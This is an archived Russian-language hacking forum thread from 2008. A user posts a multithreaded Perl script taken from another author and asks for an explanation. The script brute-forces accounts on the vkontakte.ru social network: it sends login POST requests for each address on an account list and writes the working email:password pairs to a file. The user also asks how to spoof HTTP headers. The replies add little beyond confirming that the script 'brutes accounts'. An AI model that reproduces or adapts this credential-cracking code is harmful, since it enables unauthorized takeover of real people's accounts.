PDA

Просмотр полной версии : Объясните пожалуйста скрипт =)


Велемир
11.07.2008, 19:29
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = new IO::Socket::INET
(
PeerAddr => 'vkontakte.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) or die "Can't connect\n";

my $data = "email=$acc&pass=$pass";
my $len = length($data);
my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://vkontakte.ru\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";

print $sock $re;
sysread ($sock, my $answ, 800);

if($answ =~ /\S{32}/)
{
{lock($total); $total++;}
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
print FILE "$acc : $pass\n";
close(FILE);
}
{lock($i);$i++;}
$percent = ($i/$size)*100;
progress();

}


}


$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}

Вот кусок скрыпта Kaimi.который я вырезал =_=.

Может кто-нибудь его подробно разъяснить ? Примерно понятно,что он делает).Почему не используются функции работы с сокетами типа сенд,сок аддр ин и т.д ? Да,и вот ещё что - через сокеты можно подделывать заголовки ?)).Типа X-FORWARDED-FOR,REFERRER,Location и т.д.

ЗЫ: Желательно услышать объяснение автора)).

Велемир
12.07.2008, 16:22
Ну,раз никто не хочет,не надо)

Vid0k
12.07.2008, 19:07
чо те именно не понятно какие строчки?
весь скрипт те ни кто не будет объяснять иди учи perl

Взломщек
12.07.2008, 19:13
скрипт брутит акки